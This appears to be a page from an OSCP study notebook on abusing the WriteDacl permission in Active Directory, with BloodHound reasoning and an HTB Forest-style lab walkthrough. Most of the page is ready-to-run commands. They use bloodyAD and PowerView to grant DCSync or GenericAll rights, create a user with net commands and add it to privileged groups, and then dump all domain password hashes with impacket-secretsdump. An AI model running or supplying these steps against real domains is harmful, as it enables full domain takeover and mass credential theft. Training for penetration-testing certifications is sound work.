Pearson's OSCP Notebook

WriteDacl

Properties2
tagswritedacl, write-dacl, dcsync, bloodhound, acl-abuse, dacl, ad-permissions, genericall
aliasesWriteDACL

5 min read

WriteDacl — AD Permission Abuse

Ctrl+F: WriteDacl · WriteDACL · DCSync · Add-ObjectACL · add dcsync

WriteDACL lets you modify the DACL (access control list) on an AD object — you can grant yourself or another principal new rights on that same object (or nested objects, depending on inheritance).

In BloodHound, always look at what the arrow points to.

📌 BloodHound — read the edge first

WriteDacl on the Domain → think DCSync

User
   │
WriteDACL
   ▼
Domain

Your first thought should be:

“Can I grant myself DCSync rights?”

This is one of the most valuable BloodHound findings — it often leads directly to dumping all domain password hashes via Impacket secretsdump.

Why: On the domain object, adding DS-Replication-Get-Changes + Get-Changes-All (= DCSync) to yourself replicates secrets from the DC without needing Domain Admin membership.

WriteDacl on a User or Group → think object control

User
   │
WriteDACL
   ▼
Some User

or

User
   │
WriteDACL
   ▼
Some Group

Your first thought should be:

“How can I abuse control of that object?” — not immediately DCSync.

The object the permission applies to determines what you can do. Common paths:

Target objectTypical abuse
DomainGrant yourself DCSync → secretsdump all hashes
UserGrant GenericAll → GenericAll · reset ForceChangePassword · Shadow Credentials - pywhisker
Group (e.g. Domain Admins, Exchange Windows Permissions)AddMember · GenericAll on group
ComputerGenericWrite RBCD · GenericAll
OUCreate users, manipulate child objects — bloodyAD > add user
Certificate TemplateAD CS Permissions → ESC4
Certificate AuthorityAD CS Permissions → ESC7

📌 Indirect WriteDacl (via group membership)

BloodHound may show you do not have WriteDacl directly — but a group you control does:

Owned User → MemberOf → Exchange Windows Permissions → WriteDACL → Domain

HTB Forest pattern: svc-alfresco → nested groups → Account Operators → Exchange Windows Permissions has WriteDacl on the Domain.

You may need to:

  1. Create a user you control (net user john ... /domain)
  2. Add them to the group that holds WriteDacl (net group "Exchange Windows Permissions" john /add /domain)
  3. Use that user’s creds to grant DCSync (not the original foothold user)

See § Lab example below.

📌 Exploitation — Linux (bloodyAD)

Requires WriteDacl on the target object (directly or via a group member you can act as).

# Confirm writable targets
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' get writable
 
# WriteDacl on DOMAIN → grant DCSync to yourself
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add dcsync user
 
# Dump all domain hashes
impacket-secretsdump domain.htb/user:'PASS'@DC_IP -just-dc-ntlm

→ Full dump workflow: DCSync

# WriteDacl on USER/GROUP → grant GenericAll, then abuse object
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add genericAll "Domain Admins" user
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add groupMember "Server Admins" user

Cleanup: bloodyAD ... remove dcsync user

→ Full bloodyAD reference: bloodyAD > 📌 3) add — Privilege Escalation Actions

📌 Exploitation — Windows (PowerView)

Import-Module .\PowerView.ps1
 
# Find interesting ACLs (includes WriteDacl)
Find-InterestingDomainAcl
 
# Inspect ACLs on a target
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
 
# WriteDacl on object → grant rights to principal
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity jsmith -Rights All
 
# DCSync rights on domain (when you have WriteDacl on domain)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity john -Rights DCSync
# Alternate / lab scripts: Add-ObjectACL -PrincipalIdentity john -Credential $cred -Rights DCSync

Then from Kali:

impacket-secretsdump corp.local/john:'PASS'@DC_IP

→ PowerView > 📌 5) ACL / Permission Abuse

📌 Lab example — Exchange Windows Permissions → DCSync (Forest-style)

Why this method: Foothold user may lack WinRM/LDAP write from your shell, but a new user in Exchange Windows Permissions inherits WriteDacl on the Domain — use that identity for the ACL change, then DCSync as the new user.

# evil-winrm as foothold user
net user john abc123! /add /domain
net group "Exchange Windows Permissions" john /add /domain
net localgroup "Remote Management Users" john /add
 
# Upload + import PowerView
upload PowerView.ps1
. .\PowerView.ps1
 
$pass = ConvertTo-SecureString 'abc123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\john', $pass)
 
# Grant john DCSync on the domain (WriteDacl abuse)
Add-ObjectACL -PrincipalIdentity john -Credential $cred -Rights DCSync
# Kali — dump hashes as john
impacket-secretsdump htb.local/john:'abc123!'@DC_IP

📌 Quick decision cheat sheet

WriteDACL → Domain?     → bloodyAD add dcsync → secretsdump
WriteDACL → User?        → genericAll → set password / shadow creds
WriteDACL → Group?       → genericAll or addMember → inherit group power
WriteDACL → Computer?    → genericAll / rbcd
WriteDACL → via group?   → add self to group → act as that group member

📌 Quick commands

# Linux
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' get writable
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add dcsync user
impacket-secretsdump domain.htb/user:'PASS'@DC_IP
# Windows
Find-InterestingDomainAcl
Add-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity YOU -Rights All

Graph View

Backlinks